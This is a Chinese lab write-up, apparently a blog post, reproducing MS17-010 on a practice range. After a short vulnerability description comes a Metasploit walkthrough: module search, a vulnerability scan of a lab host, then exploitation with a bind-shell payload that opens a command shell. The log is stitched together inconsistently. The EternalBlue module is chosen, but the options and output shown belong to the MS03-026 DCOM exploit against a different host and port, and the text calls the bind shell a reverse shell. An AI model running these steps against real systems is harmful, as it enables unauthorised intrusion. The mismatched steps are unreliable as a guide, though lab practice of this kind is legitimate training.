环境
- 红日靶场:ATT&CK红队评估01 - win2008 192.168.52.138
- 攻击机:32位 kali 172.24.4.7
- 已做内网流量转发
MS17-010复现过程
漏洞介绍
MS17-010漏洞出现在Windows SMB v1中,具体是在内核态函数srv!SrvOs2FeaListToNt处理FEA(File Extended Attributes)转换时发生的缓冲区溢出。这个漏洞允许攻击者通过发送特殊设计的消息到SMBv1服务器,从而执行远程代码。
该漏洞影响所有使用SMBv1的Windows系统,特别是那些未安装补丁的系统。根据微软的安全公告,MS17-010在2017年3月14日发布,旨在修复多个SMBv1中的漏洞,其中最严重的漏洞可能导致远程代码执行(RCE)。
攻击者可以通过扫描开放445文件共享端口的Windows机器来利用此漏洞,无需用户任何操作,只要机器开机上网即可。利用工具包括Metasploit和nmap等,这些工具可以帮助攻击者检测目标系统是否存在漏洞,并执行攻击。
微软已经发布了补丁来修复此漏洞,建议用户尽快应用这些补丁以防止被攻击者利用。此外,可以使用各种网络安全工具来检测和防御此类攻击,如防火墙、入侵检测系统(IDS)和入侵防御系统(IPS)。
MS17-010漏洞的爆发源于WannaCry勒索病毒的诞生,该病毒利用了此漏洞进行传播,造成了全球性的互联网灾难。这表明此漏洞具有极高的危险性和广泛的影响力。
MS17-010是一个严重的安全漏洞,涉及到Windows SMBv1服务的远程代码执行问题。微软已经发布了相应的补丁,但鉴于其广泛的影响和潜在的危害,用户应当高度重视并采取必要的防护措施。
探测主机是否存在MS17_010漏洞
执行命令:msfconsole
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Writing a custom module? After editing your module, why not try
the reload command
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v6.4.9-dev ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
执行命令:search ms17-010
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 \_ target: Automatic Target . . . .
2 \_ target: Windows 7 . . . .
3 \_ target: Windows Embedded Standard 7 . . . .
4 \_ target: Windows Server 2008 R2 . . . .
5 \_ target: Windows 8 . . . .
6 \_ target: Windows 8.1 . . . .
7 \_ target: Windows Server 2012 . . . .
8 \_ target: Windows 10 Pro . . . .
9 \_ target: Windows 10 Enterprise Evaluation . . . .
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \_ target: Automatic . . . .
12 \_ target: PowerShell . . . .
13 \_ target: Native upload . . . .
14 \_ target: MOF upload . . . .
15 \_ AKA: ETERNALSYNERGY . . . .
16 \_ AKA: ETERNALROMANCE . . . .
17 \_ AKA: ETERNALCHAMPION . . . .
18 \_ AKA: ETERNALBLUE . . . .
19 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \_ AKA: ETERNALSYNERGY . . . .
21 \_ AKA: ETERNALROMANCE . . . .
22 \_ AKA: ETERNALCHAMPION . . . .
23 \_ AKA: ETERNALBLUE . . . .
24 auxiliary/scanner/smb/smb_ms17_010 . normal No MS17-010 SMB RCE Detection
25 \_ AKA: DOUBLEPULSAR . . . .
26 \_ AKA: ETERNALBLUE . . . .
27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
28 \_ target: Execute payload (x64) . . . .
29 \_ target: Neutralize implant . . . .
Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'
执行命令:use eauxiliary/scanner/smb/smb_ms17_010
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) >
执行命令:set rhost 192.168.52.138
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.52.138
rhost => 192.168.52.138
执行命令:exploit 或 run
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit
[+] 192.168.52.138:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.52.138:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
结果
目标主机可能存在MS17-010漏洞
开始入侵
执行命令:use exploit/windows/smb/ms17_010_eternalblue
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
执行命令:set payload generic/shell_bind_tcp
msf6 exploit(windows/dcerpc/ms03_026_dcom) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp
执行命令:show options
msf6 exploit(windows/dcerpc/ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.52.141 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
using-metasploit.html
RPORT 135 yes The target port (TCP)
Payload options (generic/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 192.168.52.141 no The target address
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
View the full module info with the info, or info -d command.
执行命令:exploit 或 run
msf6 exploit(windows/dcerpc/ms03_026_dcom) > exploit
[*] 192.168.52.141:135 - Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] 192.168.52.141:135 - Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.52.141[135] ...
[*] 192.168.52.141:135 - Calling DCOM RPC with payload (1648 bytes) ...
[*] Started bind TCP handler against 192.168.52.141:4444
[*] Command shell session 1 opened (172.24.4.7:34395 -> 192.168.52.141:4444) at 2024-06-09 12:23:25 -0400
Shell Banner:
Microsoft Windows [Version 5.2.3790]
-----
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.52.141
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.52.2
反弹shell成功
PS:仅学习,有什么不对请各位大大斧正
请确保在使用这些技术时,您有权这么做,并且您的行为符合法律法规和道德准则。这些信息仅供教育和研究目的使用。